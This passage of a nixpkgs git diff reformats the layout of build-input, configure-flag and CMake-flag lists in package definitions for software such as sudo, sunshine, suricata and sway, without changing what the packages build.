@@ -29,16 +29,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   enableParallelBuilding = true;
 
-  buildInputs =
-    [
-      openssl
-    ]
-    ++ lib.optionals systemdSupport [
-      systemd
-    ]
-    ++ lib.optionals mimallocSupport [
-      mimalloc
-    ];
+  buildInputs = [
+    openssl
+  ]
+  ++ lib.optionals systemdSupport [
+    systemd
+  ]
+  ++ lib.optionals mimallocSupport [
+    mimalloc
+  ];
 
   configureFlags = [
     "--with-ssl=${openssl.dev}"
diff --git a/pkgs/by-name/su/sublime-music/package.nix b/pkgs/by-name/su/sublime-music/package.nix
index 400b0c1ce10d..26ac3d351ead 100644
--- a/pkgs/by-name/su/sublime-music/package.nix
+++ b/pkgs/by-name/su/sublime-music/package.nix
@@ -45,13 +45,12 @@ python3.pkgs.buildPythonApplication rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      gtk3
-      pango
-    ]
-    ++ lib.optional notifySupport libnotify
-    ++ lib.optional networkSupport networkmanager;
+  buildInputs = [
+    gtk3
+    pango
+  ]
+  ++ lib.optional notifySupport libnotify
+  ++ lib.optional networkSupport networkmanager;
 
   propagatedBuildInputs =
     with python3.pkgs;
diff --git a/pkgs/by-name/su/subtitlecomposer/package.nix b/pkgs/by-name/su/subtitlecomposer/package.nix
index 09a9ff32d277..122169aaaa6e 100644
--- a/pkgs/by-name/su/subtitlecomposer/package.nix
+++ b/pkgs/by-name/su/subtitlecomposer/package.nix
@@ -26,23 +26,22 @@ stdenv.mkDerivation rec {
     extra-cmake-modules
     libsForQt5.wrapQtAppsHook
   ];
-  buildInputs =
-    [
-      ffmpeg_6
-      openal
-    ]
-    ++ (with libsForQt5; [
-      kcodecs
-      kconfig
-      kconfigwidgets
-      kcoreaddons
-      ki18n
-      kio
-      ktextwidgets
-      kwidgetsaddons
-      kxmlgui
-      sonnet
-    ]);
+  buildInputs = [
+    ffmpeg_6
+    openal
+  ]
+  ++ (with libsForQt5; [
+    kcodecs
+    kconfig
+    kconfigwidgets
+    kcoreaddons
+    ki18n
+    kio
+    ktextwidgets
+    kwidgetsaddons
+    kxmlgui
+    sonnet
+  ]);
 
   meta = with lib; {
     homepage = "https://apps.kde.org/subtitlecomposer";
diff --git a/pkgs/by-name/su/sudo/package.nix b/pkgs/by-name/su/sudo/package.nix
index d7394649a5f0..283f1bd17459 100644
--- a/pkgs/by-name/su/sudo/package.nix
+++ b/pkgs/by-name/su/sudo/package.nix
@@ -31,26 +31,25 @@ stdenv.mkDerivation (finalAttrs: {
     substituteInPlace src/Makefile.in --replace 04755 0755
   '';
 
-  configureFlags =
-    [
-      "--with-env-editor"
-      "--with-editor=/run/current-system/sw/bin/nano"
-      "--with-rundir=/run/sudo"
-      "--with-vardir=/var/db/sudo"
-      "--with-logpath=/var/log/sudo.log"
-      "--with-iologdir=/var/log/sudo-io"
-      "--with-sendmail=${sendmailPath}"
-      "--enable-tmpfiles.d=no"
-      "--with-passprompt=[sudo] password for %p: " # intentional trailing space
-    ]
-    ++ lib.optionals withInsults [
-      "--with-insults"
-      "--with-all-insults"
-    ]
-    ++ lib.optionals withSssd [
-      "--with-sssd"
-      "--with-sssd-lib=${sssd}/lib"
-    ];
+  configureFlags = [
+    "--with-env-editor"
+    "--with-editor=/run/current-system/sw/bin/nano"
+    "--with-rundir=/run/sudo"
+    "--with-vardir=/var/db/sudo"
+    "--with-logpath=/var/log/sudo.log"
+    "--with-iologdir=/var/log/sudo-io"
+    "--with-sendmail=${sendmailPath}"
+    "--enable-tmpfiles.d=no"
+    "--with-passprompt=[sudo] password for %p: " # intentional trailing space
+  ]
+  ++ lib.optionals withInsults [
+    "--with-insults"
+    "--with-all-insults"
+  ]
+  ++ lib.optionals withSssd [
+    "--with-sssd"
+    "--with-sssd-lib=${sssd}/lib"
+  ];
 
   postConfigure = ''
     cat >> pathnames.h <<'EOF'
diff --git a/pkgs/by-name/su/suil/package.nix b/pkgs/by-name/su/suil/package.nix
index a3bf187dd9c2..0ab5468346c3 100644
--- a/pkgs/by-name/su/suil/package.nix
+++ b/pkgs/by-name/su/suil/package.nix
@@ -57,18 +57,19 @@ stdenv.mkDerivation rec {
     (mesonEnable "x11" withX11)
   ];
 
-  buildInputs =
-    [ lv2 ]
-    ++ lib.optionals withGtk2 [ gtk2 ]
-    ++ lib.optionals withGtk3 [ gtk3 ]
-    ++ lib.optionals withQt5 (
-      with qt5;
-      [
-        qtbase
-        qttools
-      ]
-      ++ lib.optionals withX11 [ qtx11extras ]
-    );
+  buildInputs = [
+    lv2
+  ]
+  ++ lib.optionals withGtk2 [ gtk2 ]
+  ++ lib.optionals withGtk3 [ gtk3 ]
+  ++ lib.optionals withQt5 (
+    with qt5;
+    [
+      qtbase
+      qttools
+    ]
+    ++ lib.optionals withX11 [ qtx11extras ]
+  );
 
   dontWrapQtApps = true;
 
diff --git a/pkgs/by-name/su/sumo/package.nix b/pkgs/by-name/su/sumo/package.nix
index dd0549d90503..a394cbbcffd5 100644
--- a/pkgs/by-name/su/sumo/package.nix
+++ b/pkgs/by-name/su/sumo/package.nix
@@ -48,39 +48,38 @@ stdenv.mkDerivation rec {
     swig
   ];
 
-  buildInputs =
-    [
-      bzip2
-      eigen
-      ffmpeg
-      fox_1_6
-      gdal
-      gl2ps
-      gpp
-      gtest
-      jdk
-      libGL
-      libGLU
-      libjpeg
-      libpng
-      libtiff
-      libxcrypt
-      openscenegraph
-      proj
-      python3Packages.setuptools
-      xercesc
-      zlib
-      python3
-    ]
-    ++ (with xorg; [
-      libX11
-      libXcursor
-      libXext
-      libXfixes
-      libXft
-      libXrandr
-      libXrender
-    ]);
+  buildInputs = [
+    bzip2
+    eigen
+    ffmpeg
+    fox_1_6
+    gdal
+    gl2ps
+    gpp
+    gtest
+    jdk
+    libGL
+    libGLU
+    libjpeg
+    libpng
+    libtiff
+    libxcrypt
+    openscenegraph
+    proj
+    python3Packages.setuptools
+    xercesc
+    zlib
+    python3
+  ]
+  ++ (with xorg; [
+    libX11
+    libXcursor
+    libXext
+    libXfixes
+    libXft
+    libXrandr
+    libXrender
+  ]);
 
   meta = with lib; {
     description = "SUMO traffic simulator";
diff --git a/pkgs/by-name/su/sunshine/package.nix b/pkgs/by-name/su/sunshine/package.nix
index 3a526e753712..5e5991c16dd3 100644
--- a/pkgs/by-name/su/sunshine/package.nix
+++ b/pkgs/by-name/su/sunshine/package.nix
@@ -84,72 +84,70 @@ stdenv'.mkDerivation rec {
     '';
   };
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-      python3
-      makeWrapper
-      wayland-scanner
-      # Avoid fighting upstream's usage of vendored ffmpeg libraries
-      autoPatchelfHook
-      udevCheckHook
-    ]
-    ++ lib.optionals cudaSupport [
-      autoAddDriverRunpath
-      cudaPackages.cuda_nvcc
-      (lib.getDev cudaPackages.cuda_cudart)
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+    python3
+    makeWrapper
+    wayland-scanner
+    # Avoid fighting upstream's usage of vendored ffmpeg libraries
+    autoPatchelfHook
+    udevCheckHook
+  ]
+  ++ lib.optionals cudaSupport [
+    autoAddDriverRunpath
+    cudaPackages.cuda_nvcc
+    (lib.getDev cudaPackages.cuda_cudart)
+  ];
 
-  buildInputs =
-    [
-      avahi
-      libevdev
-      libpulseaudio
-      xorg.libX11
-      libxcb
-      xorg.libXfixes
-      xorg.libXrandr
-      xorg.libXtst
-      xorg.libXi
-      openssl
-      libopus
-      boost
-      libdrm
-      wayland
-      libffi
-      libevdev
-      libcap
-      libdrm
-      curl
-      pcre
-      pcre2
-      libuuid
-      libselinux
-      libsepol
-      libthai
-      libdatrie
-      xorg.libXdmcp
-      libxkbcommon
-      libepoxy
-      libva
-      libvdpau
-      numactl
-      libgbm
-      amf-headers
-      svt-av1
-      libappindicator
-      libnotify
-      miniupnpc
-      nlohmann_json
-    ]
-    ++ lib.optionals cudaSupport [
-      cudaPackages.cudatoolkit
-      cudaPackages.cuda_cudart
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      intel-media-sdk
-    ];
+  buildInputs = [
+    avahi
+    libevdev
+    libpulseaudio
+    xorg.libX11
+    libxcb
+    xorg.libXfixes
+    xorg.libXrandr
+    xorg.libXtst
+    xorg.libXi
+    openssl
+    libopus
+    boost
+    libdrm
+    wayland
+    libffi
+    libevdev
+    libcap
+    libdrm
+    curl
+    pcre
+    pcre2
+    libuuid
+    libselinux
+    libsepol
+    libthai
+    libdatrie
+    xorg.libXdmcp
+    libxkbcommon
+    libepoxy
+    libva
+    libvdpau
+    numactl
+    libgbm
+    amf-headers
+    svt-av1
+    libappindicator
+    libnotify
+    miniupnpc
+    nlohmann_json
+  ]
+  ++ lib.optionals cudaSupport [
+    cudaPackages.cudatoolkit
+    cudaPackages.cuda_cudart
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    intel-media-sdk
+  ];
 
   runtimeDependencies = [
     avahi
@@ -159,23 +157,22 @@ stdenv'.mkDerivation rec {
     libglvnd
   ];
 
-  cmakeFlags =
-    [
-      "-Wno-dev"
-      # upstream tries to use systemd and udev packages to find these directories in FHS; set the paths explicitly instead
-      (lib.cmakeBool "UDEV_FOUND" true)
-      (lib.cmakeBool "SYSTEMD_FOUND" true)
-      (lib.cmakeFeature "UDEV_RULES_INSTALL_DIR" "lib/udev/rules.d")
-      (lib.cmakeFeature "SYSTEMD_USER_UNIT_INSTALL_DIR" "lib/systemd/user")
-      (lib.cmakeBool "BOOST_USE_STATIC" false)
-      (lib.cmakeBool "BUILD_DOCS" false)
-      (lib.cmakeFeature "SUNSHINE_PUBLISHER_NAME" "nixpkgs")
-      (lib.cmakeFeature "SUNSHINE_PUBLISHER_WEBSITE" "https://nixos.org")
-      (lib.cmakeFeature "SUNSHINE_PUBLISHER_ISSUE_URL" "https://github.com/NixOS/nixpkgs/issues")
-    ]
-    ++ lib.optionals (!cudaSupport) [
-      (lib.cmakeBool "SUNSHINE_ENABLE_CUDA" false)
-    ];
+  cmakeFlags = [
+    "-Wno-dev"
+    # upstream tries to use systemd and udev packages to find these directories in FHS; set the paths explicitly instead
+    (lib.cmakeBool "UDEV_FOUND" true)
+    (lib.cmakeBool "SYSTEMD_FOUND" true)
+    (lib.cmakeFeature "UDEV_RULES_INSTALL_DIR" "lib/udev/rules.d")
+    (lib.cmakeFeature "SYSTEMD_USER_UNIT_INSTALL_DIR" "lib/systemd/user")
+    (lib.cmakeBool "BOOST_USE_STATIC" false)
+    (lib.cmakeBool "BUILD_DOCS" false)
+    (lib.cmakeFeature "SUNSHINE_PUBLISHER_NAME" "nixpkgs")
+    (lib.cmakeFeature "SUNSHINE_PUBLISHER_WEBSITE" "https://nixos.org")
+    (lib.cmakeFeature "SUNSHINE_PUBLISHER_ISSUE_URL" "https://github.com/NixOS/nixpkgs/issues")
+  ]
+  ++ lib.optionals (!cudaSupport) [
+    (lib.cmakeBool "SUNSHINE_ENABLE_CUDA" false)
+  ];
 
   env = {
     # needed to trigger CMake version configuration
diff --git a/pkgs/by-name/su/sunvox/package.nix b/pkgs/by-name/su/sunvox/package.nix
index 6b274e489b49..59d6d14c7710 100644
--- a/pkgs/by-name/su/sunvox/package.nix
+++ b/pkgs/by-name/su/sunvox/package.nix
@@ -61,38 +61,37 @@ stdenv.mkDerivation (finalAttrs: {
   dontConfigure = true;
   dontBuild = true;
 
-  installPhase =
-    ''
-      runHook preInstall
+  installPhase = ''
+    runHook preInstall
 
-      # Delete platform-specific data for all the platforms we're not building for
-      find sunvox -mindepth 1 -maxdepth 1 -type d -not -name "${bindir}" -exec rm -r {} \;
+    # Delete platform-specific data for all the platforms we're not building for
+    find sunvox -mindepth 1 -maxdepth 1 -type d -not -name "${bindir}" -exec rm -r {} \;
 
-      mkdir -p $out/{bin,share/sunvox}
-      mv * $out/share/sunvox/
+    mkdir -p $out/{bin,share/sunvox}
+    mv * $out/share/sunvox/
 
-    ''
-    + lib.optionalString stdenv.hostPlatform.isLinux ''
-      for binary in $(find $out/share/sunvox/sunvox/${bindir}/ -type f -executable); do
-        mv $binary $out/bin/$(basename $binary)
-      done
+  ''
+  + lib.optionalString stdenv.hostPlatform.isLinux ''
+    for binary in $(find $out/share/sunvox/sunvox/${bindir}/ -type f -executable); do
+      mv $binary $out/bin/$(basename $binary)
+    done
 
-      # Cleanup, make sure we didn't miss anything
-      find $out/share/sunvox/sunvox -type f -name readme.txt -delete
-      rmdir $out/share/sunvox/sunvox/${bindir} $out/share/sunvox/sunvox
-    ''
-    + lib.optionalString stdenv.hostPlatform.isDarwin ''
-      mkdir $out/Applications
-      ln -s $out/share/sunvox/sunvox/${bindir}/SunVox.app $out/Applications/
-      ln -s $out/share/sunvox/sunvox/${bindir}/reset_sunvox $out/bin/
+    # Cleanup, make sure we didn't miss anything
+    find $out/share/sunvox/sunvox -type f -name readme.txt -delete
+    rmdir $out/share/sunvox/sunvox/${bindir} $out/share/sunvox/sunvox
+  ''
+  + lib.optionalString stdenv.hostPlatform.isDarwin ''
+    mkdir $out/Applications
+    ln -s $out/share/sunvox/sunvox/${bindir}/SunVox.app $out/Applications/
+    ln -s $out/share/sunvox/sunvox/${bindir}/reset_sunvox $out/bin/
 
-      # Need to use a wrapper, binary checks for files relative to the path it was called via
-      makeWrapper $out/Applications/SunVox.app/Contents/MacOS/SunVox $out/bin/sunvox
-    ''
-    + ''
+    # Need to use a wrapper, binary checks for files relative to the path it was called via
+    makeWrapper $out/Applications/SunVox.app/Contents/MacOS/SunVox $out/bin/sunvox
+  ''
+  + ''
 
-      runHook postInstall
-    '';
+    runHook postInstall
+  '';
 
   meta = with lib; {
     description = "Small, fast and powerful modular synthesizer with pattern-based sequencer";
diff --git a/pkgs/by-name/su/super-productivity/package.nix b/pkgs/by-name/su/super-productivity/package.nix
index 78fe7df51084..1c31d65a310a 100644
--- a/pkgs/by-name/su/super-productivity/package.nix
+++ b/pkgs/by-name/su/super-productivity/package.nix
@@ -36,11 +36,12 @@ buildNpmPackage rec {
     CSC_IDENTITY_AUTO_DISCOVERY = "false";
   };
 
-  nativeBuildInputs =
-    [ copyDesktopItems ]
-    ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
-      (python3.withPackages (ps: [ ps.setuptools ]))
-    ];
+  nativeBuildInputs = [
+    copyDesktopItems
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.system == "aarch64-linux") [
+    (python3.withPackages (ps: [ ps.setuptools ]))
+  ];
 
   # package.json does not include `core-js` and the comment suggests
   # it is only needed on some mobile platforms
diff --git a/pkgs/by-name/su/superTuxKart/package.nix b/pkgs/by-name/su/superTuxKart/package.nix
index e6bb798f9d7b..6644926f4027 100644
--- a/pkgs/by-name/su/superTuxKart/package.nix
+++ b/pkgs/by-name/su/superTuxKart/package.nix
@@ -92,29 +92,28 @@ stdenv.mkDerivation rec {
     makeWrapper
   ];
 
-  buildInputs =
-    [
-      shaderc
-      SDL2
-      glew
-      libvorbis
-      libogg
-      freetype
-      curl
-      libjpeg
-      libpng
-      libX11
-      harfbuzz
-      mcpp
-      wiiuse
-      angelscript
-      sqlite
-    ]
-    ++ lib.optional (stdenv.hostPlatform.isWindows || stdenv.hostPlatform.isLinux) libopenglrecorder
-    ++ lib.optional stdenv.hostPlatform.isLinux openal
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      libsamplerate
-    ];
+  buildInputs = [
+    shaderc
+    SDL2
+    glew
+    libvorbis
+    libogg
+    freetype
+    curl
+    libjpeg
+    libpng
+    libX11
+    harfbuzz
+    mcpp
+    wiiuse
+    angelscript
+    sqlite
+  ]
+  ++ lib.optional (stdenv.hostPlatform.isWindows || stdenv.hostPlatform.isLinux) libopenglrecorder
+  ++ lib.optional stdenv.hostPlatform.isLinux openal
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    libsamplerate
+  ];
 
   cmakeFlags = [
     "-DBUILD_RECORDER=${
diff --git a/pkgs/by-name/su/superlu/package.nix b/pkgs/by-name/su/superlu/package.nix
index 9492db86891a..6288232a8cd4 100644
--- a/pkgs/by-name/su/superlu/package.nix
+++ b/pkgs/by-name/su/superlu/package.nix
@@ -45,16 +45,15 @@ stdenv.mkDerivation (finalAttrs: {
 
   propagatedBuildInputs = [ blas ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "BUILD_SHARED_LIBS" true)
-      (lib.cmakeBool "enable_fortran" true)
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      # prevent cmake from using Accelerate, which causes tests to segfault
-      # https://github.com/xiaoyeli/superlu/issues/155
-      "-DBLA_VENDOR=Generic"
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "BUILD_SHARED_LIBS" true)
+    (lib.cmakeBool "enable_fortran" true)
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    # prevent cmake from using Accelerate, which causes tests to segfault
+    # https://github.com/xiaoyeli/superlu/issues/155
+    "-DBLA_VENDOR=Generic"
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/su/superlu_dist/package.nix b/pkgs/by-name/su/superlu_dist/package.nix
index 2a92911d417f..d85b9745cd46 100644
--- a/pkgs/by-name/su/superlu_dist/package.nix
+++ b/pkgs/by-name/su/superlu_dist/package.nix
@@ -50,14 +50,13 @@ stdenv.mkDerivation (finalAttrs: {
       --replace-fail "LargeDiag_MC64" "NOROWPERM"
   '';
 
-  nativeBuildInputs =
-    [
-      cmake
-      pkg-config
-    ]
-    ++ lib.optionals fortranSupport [
-      gfortran
-    ];
+  nativeBuildInputs = [
+    cmake
+    pkg-config
+  ]
+  ++ lib.optionals fortranSupport [
+    gfortran
+  ];
 
   buildInputs =
     lib.optionals (enableOpenMP && stdenv.cc.isClang) [
@@ -78,22 +77,21 @@ stdenv.mkDerivation (finalAttrs: {
 
   propagatedBuildInputs = [ blas ];
 
-  cmakeFlags =
-    [
-      (lib.cmakeBool "enable_examples" withExamples)
-      (lib.cmakeBool "enable_openmp" enableOpenMP)
-      (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
-      (lib.cmakeBool "BUILD_STATIC_LIBS" stdenv.hostPlatform.isStatic)
-      (lib.cmakeBool "XSDK_ENABLE_Fortran" fortranSupport)
-      (lib.cmakeBool "BLA_PREFER_PKGCONFIG" true)
-      (lib.cmakeBool "TPL_ENABLE_INTERNAL_BLASLIB" false)
-      (lib.cmakeBool "TPL_ENABLE_LAPACKLIB" true)
-      (lib.cmakeBool "TPL_ENABLE_PARMETISLIB" withParmetis)
-    ]
-    ++ lib.optionals withParmetis [
-      (lib.cmakeFeature "TPL_PARMETIS_LIBRARIES" "-lmetis -lparmetis")
-      (lib.cmakeFeature "TPL_PARMETIS_INCLUDE_DIRS" "${lib.getDev parmetis}/include")
-    ];
+  cmakeFlags = [
+    (lib.cmakeBool "enable_examples" withExamples)
+    (lib.cmakeBool "enable_openmp" enableOpenMP)
+    (lib.cmakeBool "BUILD_SHARED_LIBS" (!stdenv.hostPlatform.isStatic))
+    (lib.cmakeBool "BUILD_STATIC_LIBS" stdenv.hostPlatform.isStatic)
+    (lib.cmakeBool "XSDK_ENABLE_Fortran" fortranSupport)
+    (lib.cmakeBool "BLA_PREFER_PKGCONFIG" true)
+    (lib.cmakeBool "TPL_ENABLE_INTERNAL_BLASLIB" false)
+    (lib.cmakeBool "TPL_ENABLE_LAPACKLIB" true)
+    (lib.cmakeBool "TPL_ENABLE_PARMETISLIB" withParmetis)
+  ]
+  ++ lib.optionals withParmetis [
+    (lib.cmakeFeature "TPL_PARMETIS_LIBRARIES" "-lmetis -lparmetis")
+    (lib.cmakeFeature "TPL_PARMETIS_INCLUDE_DIRS" "${lib.getDev parmetis}/include")
+  ];
 
   doCheck = true;
 
diff --git a/pkgs/by-name/su/supersonic/package.nix b/pkgs/by-name/su/supersonic/package.nix
index 3144a0d7fe69..f898bc21584a 100644
--- a/pkgs/by-name/su/supersonic/package.nix
+++ b/pkgs/by-name/su/supersonic/package.nix
@@ -29,51 +29,48 @@ buildGoModule rec {
 
   vendorHash = "sha256-fc86z8bvdFI3LdlyHej2G42O554hpRszqre+e3WUOKI=";
 
-  nativeBuildInputs =
-    [
-      copyDesktopItems
-      pkg-config
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isDarwin [
-      desktopToDarwinBundle
-    ];
+  nativeBuildInputs = [
+    copyDesktopItems
+    pkg-config
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isDarwin [
+    desktopToDarwinBundle
+  ];
 
   # go-glfw doesn't support both X11 and Wayland in single build
   tags = lib.optionals waylandSupport [ "wayland" ];
 
-  buildInputs =
-    [
-      libglvnd
-      mpv-unwrapped
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      xorg.libXxf86vm
-      xorg.libX11
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && !waylandSupport) [
-      xorg.libXrandr
-      xorg.libXinerama
-      xorg.libXcursor
-      xorg.libXi
-      xorg.libXext
-    ]
-    ++ lib.optionals (stdenv.hostPlatform.isLinux && waylandSupport) [
-      wayland
-      wayland-protocols
-      libxkbcommon
-    ];
+  buildInputs = [
+    libglvnd
+    mpv-unwrapped
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    xorg.libXxf86vm
+    xorg.libX11
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && !waylandSupport) [
+    xorg.libXrandr
+    xorg.libXinerama
+    xorg.libXcursor
+    xorg.libXi
+    xorg.libXext
+  ]
+  ++ lib.optionals (stdenv.hostPlatform.isLinux && waylandSupport) [
+    wayland
+    wayland-protocols
+    libxkbcommon
+  ];
 
-  postInstall =
-    ''
-      for dimension in 128 256 512;do
-          dimensions=''${dimension}x''${dimension}
-          mkdir -p $out/share/icons/hicolor/$dimensions/apps
-          cp res/appicon-$dimension.png $out/share/icons/hicolor/$dimensions/apps/${meta.mainProgram}.png
-      done
-    ''
-    + lib.optionalString waylandSupport ''
-      mv $out/bin/supersonic $out/bin/${meta.mainProgram}
-    '';
+  postInstall = ''
+    for dimension in 128 256 512;do
+        dimensions=''${dimension}x''${dimension}
+        mkdir -p $out/share/icons/hicolor/$dimensions/apps
+        cp res/appicon-$dimension.png $out/share/icons/hicolor/$dimensions/apps/${meta.mainProgram}.png
+    done
+  ''
+  + lib.optionalString waylandSupport ''
+    mv $out/bin/supersonic $out/bin/${meta.mainProgram}
+  '';
 
   desktopItems = [
     (makeDesktopItem {
diff --git a/pkgs/by-name/su/surf/package.nix b/pkgs/by-name/su/surf/package.nix
index 8a38ab27a506..1e902f4ad50f 100644
--- a/pkgs/by-name/su/surf/package.nix
+++ b/pkgs/by-name/su/surf/package.nix
@@ -35,23 +35,22 @@ stdenv.mkDerivation rec {
     pkg-config
     wrapGAppsHook3
   ];
-  buildInputs =
-    [
-      glib
-      gcr
-      glib-networking
-      gsettings-desktop-schemas
-      gtk2
-      libsoup_2_4
-      webkitgtk_4_0
-    ]
-    ++ (with gst_all_1; [
-      # Audio & video support for webkitgtk WebView
-      gstreamer
-      gst-plugins-base
-      gst-plugins-good
-      gst-plugins-bad
-    ]);
+  buildInputs = [
+    glib
+    gcr
+    glib-networking
+    gsettings-desktop-schemas
+    gtk2
+    libsoup_2_4
+    webkitgtk_4_0
+  ]
+  ++ (with gst_all_1; [
+    # Audio & video support for webkitgtk WebView
+    gstreamer
+    gst-plugins-base
+    gst-plugins-good
+    gst-plugins-bad
+  ]);
 
   inherit patches;
 
diff --git a/pkgs/by-name/su/suricata/package.nix b/pkgs/by-name/su/suricata/package.nix
index a1862b5c3d78..ddd22c90bcfd 100644
--- a/pkgs/by-name/su/suricata/package.nix
+++ b/pkgs/by-name/su/suricata/package.nix
@@ -46,49 +46,47 @@ stdenv.mkDerivation rec {
     hash = "sha256-GX+SXqcBvctKFaygJLBlRrACZ0zZWLWJWPKaW7IU11k=";
   };
 
-  nativeBuildInputs =
-    [
-      clang
-      llvm
-      makeWrapper
-      pkg-config
-    ]
-    ++ lib.optionals rustSupport [
-      rustc
-      cargo
-    ];
+  nativeBuildInputs = [
+    clang
+    llvm
+    makeWrapper
+    pkg-config
+  ]
+  ++ lib.optionals rustSupport [
+    rustc
+    cargo
+  ];
 
   propagatedBuildInputs = with python3.pkgs; [
     pyyaml
   ];
 
-  buildInputs =
-    [
-      elfutils
-      jansson
-      libbpf_0
-      libcap_ng
-      libevent
-      libmagic
-      libmaxminddb
-      libnet
-      libnetfilter_log
-      libnetfilter_queue
-      libnfnetlink
-      libpcap
-      libyaml
-      luajit
-      lz4
-      nspr
-      pcre2
-      python3
-      vectorscan
-      zlib
-    ]
-    ++ lib.optionals redisSupport [
-      valkey
-      hiredis
-    ];
+  buildInputs = [
+    elfutils
+    jansson
+    libbpf_0
+    libcap_ng
+    libevent
+    libmagic
+    libmaxminddb
+    libnet
+    libnetfilter_log
+    libnetfilter_queue
+    libnfnetlink
+    libpcap
+    libyaml
+    luajit
+    lz4
+    nspr
+    pcre2
+    python3
+    vectorscan
+    zlib
+  ]
+  ++ lib.optionals redisSupport [
+    valkey
+    hiredis
+  ];
 
   enableParallelBuilding = true;
 
@@ -104,32 +102,31 @@ stdenv.mkDerivation rec {
     touch bpf_stubs_workaround/gnu/stubs-32.h
   '';
 
-  configureFlags =
-    [
-      "--disable-gccmarch-native"
-      "--enable-af-packet"
-      "--enable-ebpf"
-      "--enable-ebpf-build"
-      "--enable-gccprotect"
-      "--enable-geoip"
-      "--enable-luajit"
-      "--enable-nflog"
-      "--enable-nfqueue"
-      "--enable-pie"
-      "--enable-python"
-      "--enable-unix-socket"
-      "--localstatedir=/var"
-      "--sysconfdir=/etc"
-      "--with-libhs-includes=${lib.getDev vectorscan}/include/hs"
-      "--with-libhs-libraries=${lib.getLib vectorscan}/lib"
-      "--with-libnet-includes=${libnet}/include"
-      "--with-libnet-libraries=${libnet}/lib"
-    ]
-    ++ lib.optional redisSupport "--enable-hiredis"
-    ++ lib.optionals rustSupport [
-      "--enable-rust"
-      "--enable-rust-experimental"
-    ];
+  configureFlags = [
+    "--disable-gccmarch-native"
+    "--enable-af-packet"
+    "--enable-ebpf"
+    "--enable-ebpf-build"
+    "--enable-gccprotect"
+    "--enable-geoip"
+    "--enable-luajit"
+    "--enable-nflog"
+    "--enable-nfqueue"
+    "--enable-pie"
+    "--enable-python"
+    "--enable-unix-socket"
+    "--localstatedir=/var"
+    "--sysconfdir=/etc"
+    "--with-libhs-includes=${lib.getDev vectorscan}/include/hs"
+    "--with-libhs-libraries=${lib.getLib vectorscan}/lib"
+    "--with-libnet-includes=${libnet}/include"
+    "--with-libnet-libraries=${libnet}/lib"
+  ]
+  ++ lib.optional redisSupport "--enable-hiredis"
+  ++ lib.optionals rustSupport [
+    "--enable-rust"
+    "--enable-rust-experimental"
+  ];
 
   postConfigure = ''
     # Avoid unintended clousure growth.
diff --git a/pkgs/by-name/su/survex/package.nix b/pkgs/by-name/su/survex/package.nix
index 20970de616f5..13c2fab592f5 100644
--- a/pkgs/by-name/su/survex/package.nix
+++ b/pkgs/by-name/su/survex/package.nix
@@ -33,22 +33,21 @@ stdenv.mkDerivation rec {
     wrapGAppsHook3
   ];
 
-  buildInputs =
-    [
-      ffmpeg
-      glib
-      proj
-      gdal
-      wxGTK32
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isLinux [
-      # TODO: libGLU doesn't build for macOS because of Mesa issues
-      # (#233265); is it required for anything?
-      libGLU
-      libgbm
-      libICE
-      libX11
-    ];
+  buildInputs = [
+    ffmpeg
+    glib
+    proj
+    gdal
+    wxGTK32
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isLinux [
+    # TODO: libGLU doesn't build for macOS because of Mesa issues
+    # (#233265); is it required for anything?
+    libGLU
+    libgbm
+    libICE
+    libX11
+  ];
 
   strictDeps = true;
 
diff --git a/pkgs/by-name/sv/svt-av1-psy/package.nix b/pkgs/by-name/sv/svt-av1-psy/package.nix
index 25663c9bcfdc..c722b55ecd78 100644
--- a/pkgs/by-name/sv/svt-av1-psy/package.nix
+++ b/pkgs/by-name/sv/svt-av1-psy/package.nix
@@ -36,22 +36,20 @@ stdenv.mkDerivation (finalAttrs: {
         LIBHDR10PLUS_RS_FOUND = true;
       };
 
-  nativeBuildInputs =
-    [
-      cmake
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      nasm
-    ];
+  nativeBuildInputs = [
+    cmake
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    nasm
+  ];
 
-  buildInputs =
-    [
-      libdovi
-      hdr10plus
-    ]
-    ++ lib.optionals stdenv.hostPlatform.isx86_64 [
-      cpuinfo
-    ];
+  buildInputs = [
+    libdovi
+    hdr10plus
+  ]
+  ++ lib.optionals stdenv.hostPlatform.isx86_64 [
+    cpuinfo
+  ];
 
   passthru.updateScript = unstableGitUpdater {
     branch = "master";
diff --git a/pkgs/by-name/sw/sway-unwrapped/package.nix b/pkgs/by-name/sw/sway-unwrapped/package.nix
index 279e711c923b..e9452db93dcc 100644
--- a/pkgs/by-name/sw/sway-unwrapped/package.nix
+++ b/pkgs/by-name/sw/sway-unwrapped/package.nix
@@ -50,24 +50,23 @@ stdenv.mkDerivation (finalAttrs: {
     hash = "sha256-uBtQk8uhW/i8lSbv6zwsRyiiImFBw1YCQHVWQ8jot5w=";
   };
 
-  patches =
-    [
-      ./load-configuration-from-etc.patch
+  patches = [
+    ./load-configuration-from-etc.patch
 
-      (replaceVars ./fix-paths.patch {
-        inherit swaybg;
-      })
-    ]
-    ++ lib.optionals (!finalAttrs.isNixOS) [
-      # References to /nix/store/... will get GC'ed which causes problems when
